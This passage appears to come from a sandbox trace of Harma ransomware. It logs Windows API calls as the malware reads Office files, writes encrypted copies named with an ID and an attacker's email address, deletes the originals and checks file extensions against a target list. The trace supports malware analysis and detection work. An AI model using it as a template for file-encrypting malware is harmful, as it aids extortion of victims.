CloseHandle (hObject=0x38c) returned 1 [0170.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae")) returned 0x20 [0170.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.079] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.079] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0170.080] GetLastError () returned 0x0 [0170.080] ReadFile (in: hFile=0x38c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x207a0, lpOverlapped=0x0) returned 1 [0170.194] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x207b0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x207b0, lpOverlapped=0x0) returned 1 [0170.196] ReadFile (in: hFile=0x38c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.197] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0170.197] SetEndOfFile (hFile=0x3a0) returned 1 [0170.197] CloseHandle (hObject=0x3a0) returned 1 [0170.197] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.197] SetEndOfFile (hFile=0x38c) returned 1 [0170.508] CloseHandle (hObject=0x38c) returned 1 [0170.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae")) returned 1 [0170.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0170.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0170.512] lstrlenW (lpString=".doc") returned 4 [0170.512] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.512] lstrlenW (lpString=".docx") returned 5 [0170.513] lstrcmpiW (lpString1=".docx", lpString2="D.FAE") returned -1 [0170.513] lstrlenW (lpString=".pdf") returned 4 [0170.513] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.513] lstrlenW (lpString=".xls") returned 4 [0170.513] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.513] lstrlenW (lpString=".xlsx") returned 5 [0170.513] lstrcmpiW (lpString1=".xlsx", lpString2="D.FAE") returned -1 [0170.513] lstrlenW (lpString=".ppt") returned 4 [0170.513] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0170.513] lstrlenW (lpString=".zip") returned 4 [0170.513] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.513] lstrlenW (lpString=".rar") returned 4 [0170.513] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.513] lstrlenW (lpString=".bz2") returned 4 [0170.513] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.513] lstrlenW (lpString=".7z") returned 3 [0170.513] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0170.513] lstrlenW (lpString=".dbf") returned 4 [0170.513] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0170.513] lstrlenW (lpString=".1cd") returned 4 [0170.513] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0170.513] lstrlenW (lpString=".jpg") returned 4 [0170.513] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0170.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0170.514] lstrlenW (lpString=".doc") returned 4 [0170.514] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.514] lstrlenW (lpString=".docx") returned 5 [0170.514] lstrcmpiW (lpString1=".docx", lpString2="D.FAE") returned -1 [0170.514] lstrlenW (lpString=".pdf") returned 4 [0170.514] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.514] lstrlenW (lpString=".xls") returned 4 [0170.514] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.514] lstrlenW (lpString=".xlsx") returned 5 [0170.514] lstrcmpiW (lpString1=".xlsx", lpString2="D.FAE") returned -1 [0170.514] lstrlenW (lpString=".ppt") returned 4 [0170.514] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0170.514] lstrlenW (lpString=".zip") returned 4 [0170.514] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.514] lstrlenW (lpString=".rar") returned 4 [0170.514] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.514] lstrlenW (lpString=".bz2") returned 4 [0170.514] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.514] lstrlenW (lpString=".7z") returned 3 [0170.514] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0170.515] lstrlenW (lpString=".dbf") returned 4 [0170.515] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0170.515] lstrlenW (lpString=".1cd") returned 4 [0170.515] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0170.515] lstrlenW (lpString=".jpg") returned 4 [0170.515] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.515] lstrcmpiW (lpString1=".SAM", lpString2=".harma") returned 1 [0170.515] lstrlenW (lpString="ORG97.SAM") returned 9 [0170.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.523] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=50568) returned 1 [0170.523] CloseHandle (hObject=0x38c) returned 1 [0170.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam")) returned 0x20 [0170.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.524] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.525] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0170.526] GetLastError () returned 0x0 [0170.526] ReadFile (in: hFile=0x38c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xc588, lpOverlapped=0x0) returned 1 [0170.634] WriteFile (in: hFile=0x20c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xc590, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xc590, lpOverlapped=0x0) returned 1 [0170.636] ReadFile (in: hFile=0x38c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.636] WriteFile (in: hFile=0x20c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0170.637] SetEndOfFile (hFile=0x20c) returned 1 [0170.670] CloseHandle (hObject=0x20c) returned 1 [0170.671] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.671] SetEndOfFile (hFile=0x38c) returned 1 [0170.687] CloseHandle (hObject=0x38c) returned 1 [0170.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam")) returned 1 [0170.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0170.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0170.689] lstrlenW (lpString=".doc") returned 4 [0170.689] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0170.689] lstrlenW (lpString=".docx") returned 5 [0170.689] lstrcmpiW (lpString1=".docx", lpString2="7.SAM") returned -1 [0170.689] lstrlenW (lpString=".pdf") returned 4 [0170.689] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0170.689] lstrlenW (lpString=".xls") returned 4 [0170.689] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0170.689] lstrlenW (lpString=".xlsx") returned 5 [0170.689] lstrcmpiW (lpString1=".xlsx", lpString2="7.SAM") returned -1 [0170.689] lstrlenW (lpString=".ppt") returned 4 [0170.689] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0170.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0170.689] lstrlenW (lpString=".zip") returned 4 [0170.689] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0170.689] lstrlenW (lpString=".rar") returned 4 [0170.689] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0170.689] lstrlenW (lpString=".bz2") returned 4 [0170.689] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0170.689] lstrlenW (lpString=".7z") returned 3 [0170.689] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0170.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0170.689] lstrlenW (lpString=".dbf") returned 4 [0170.689] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0170.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0170.690] lstrlenW (lpString=".1cd") returned 4 [0170.690] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0170.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0170.690] lstrlenW (lpString=".jpg") returned 4 [0170.690] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0170.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0170.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0170.690] lstrlenW (lpString=".doc") returned 4 [0170.690] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0170.690] lstrlenW (lpString=".docx") returned 5 [0170.690] lstrcmpiW (lpString1=".docx", lpString2="7.SAM") returned -1 [0170.690] lstrlenW (lpString=".pdf") returned 4 [0170.690] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0170.690] lstrlenW (lpString=".xls") returned 4 [0170.690] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0170.690] lstrlenW (lpString=".xlsx") returned 5 [0170.690] lstrcmpiW (lpString1=".xlsx", lpString2="7.SAM") returned -1 [0170.690] lstrlenW (lpString=".ppt") returned 4 [0170.690] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0170.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0170.690] lstrlenW (lpString=".zip") returned 4 [0170.690] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0170.690] lstrlenW (lpString=".rar") returned 4 [0170.690] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0170.690] lstrlenW (lpString=".bz2") returned 4 [0170.691] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0170.691] lstrlenW (lpString=".7z") returned 3 [0170.691] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0170.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0170.691] lstrlenW (lpString=".dbf") returned 4 [0170.691] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0170.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0170.692] lstrlenW (lpString=".1cd") returned 4 [0170.692] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0170.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0170.692] lstrlenW (lpString=".jpg") returned 4 [0170.692] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0170.692] lstrcmpiW (lpString1=".SAM", lpString2=".harma") returned 1 [0170.692] lstrlenW (lpString="PAB.SAM") returned 7 [0170.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.709] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=63864) returned 1 [0170.709] CloseHandle (hObject=0x38c) returned 1 [0170.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam")) returned 0x20 [0170.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.710] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.710] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0170.711] GetLastError () returned 0x0 [0170.711] ReadFile (in: hFile=0x38c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xf978, lpOverlapped=0x0) returned 1 [0170.874] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf980, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf980, lpOverlapped=0x0) returned 1 [0170.876] ReadFile (in: hFile=0x38c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.876] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0170.876] SetEndOfFile (hFile=0x2e8) returned 1 [0170.876] CloseHandle (hObject=0x2e8) returned 1 [0170.876] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.877] SetEndOfFile (hFile=0x38c) returned 1 [0171.087] CloseHandle (hObject=0x38c) returned 1 [0171.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam")) returned 1 [0171.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0171.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0171.089] lstrlenW (lpString=".doc") returned 4 [0171.089] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0171.089] lstrlenW (lpString=".docx") returned 5 [0171.089] lstrcmpiW (lpString1=".docx", lpString2="B.SAM") returned -1 [0171.089] lstrlenW (lpString=".pdf") returned 4 [0171.089] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0171.089] lstrlenW (lpString=".xls") returned 4 [0171.089] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0171.089] lstrlenW (lpString=".xlsx") returned 5 [0171.089] lstrcmpiW (lpString1=".xlsx", lpString2="B.SAM") returned -1 [0171.089] lstrlenW (lpString=".ppt") returned 4 [0171.089] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0171.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0171.089] lstrlenW (lpString=".zip") returned 4 [0171.089] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0171.089] lstrlenW (lpString=".rar") returned 4 [0171.089] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0171.090] lstrlenW (lpString=".bz2") returned 4 [0171.090] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0171.090] lstrlenW (lpString=".7z") returned 3 [0171.090] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0171.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0171.090] lstrlenW (lpString=".dbf") returned 4 [0171.090] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0171.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0171.090] lstrlenW (lpString=".1cd") returned 4 [0171.090] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0171.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0171.090] lstrlenW (lpString=".jpg") returned 4 [0171.090] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0171.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0171.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0171.090] lstrlenW (lpString=".doc") returned 4 [0171.090] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0171.090] lstrlenW (lpString=".docx") returned 5 [0171.090] lstrcmpiW (lpString1=".docx", lpString2="B.SAM") returned -1 [0171.090] lstrlenW (lpString=".pdf") returned 4 [0171.090] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0171.090] lstrlenW (lpString=".xls") returned 4 [0171.090] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0171.090] lstrlenW (lpString=".xlsx") returned 5 [0171.090] lstrcmpiW (lpString1=".xlsx", lpString2="B.SAM") returned -1 [0171.090] lstrlenW (lpString=".ppt") returned 4 [0171.090] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0171.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0171.090] lstrlenW (lpString=".zip") returned 4 [0171.091] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0171.091] lstrlenW (lpString=".rar") returned 4 [0171.091] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0171.091] lstrlenW (lpString=".bz2") returned 4 [0171.091] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0171.091] lstrlenW (lpString=".7z") returned 3 [0171.091] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0171.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0171.091] lstrlenW (lpString=".dbf") returned 4 [0171.091] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0171.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0171.091] lstrlenW (lpString=".1cd") returned 4 [0171.091] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0171.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0171.091] lstrlenW (lpString=".jpg") returned 4 [0171.091] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0171.091] lstrcmpiW (lpString1=".exe", lpString2=".harma") returned -1 [0171.091] lstrlenW (lpString="excelcnv.exe") returned 12 [0171.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0171.456] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=24994656) returned 1 [0171.456] CloseHandle (hObject=0x34c) returned 1 [0171.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe")) returned 0x20 [0171.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0171.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0171.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0171.464] lstrlenW (lpString=".doc") returned 4 [0171.464] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0171.464] lstrlenW (lpString=".docx") returned 5 [0171.464] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0171.464] lstrlenW (lpString=".pdf") returned 4 [0171.464] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0171.464] lstrlenW (lpString=".xls") returned 4 [0171.464] lstrcmpiW (lpString1=".xls", 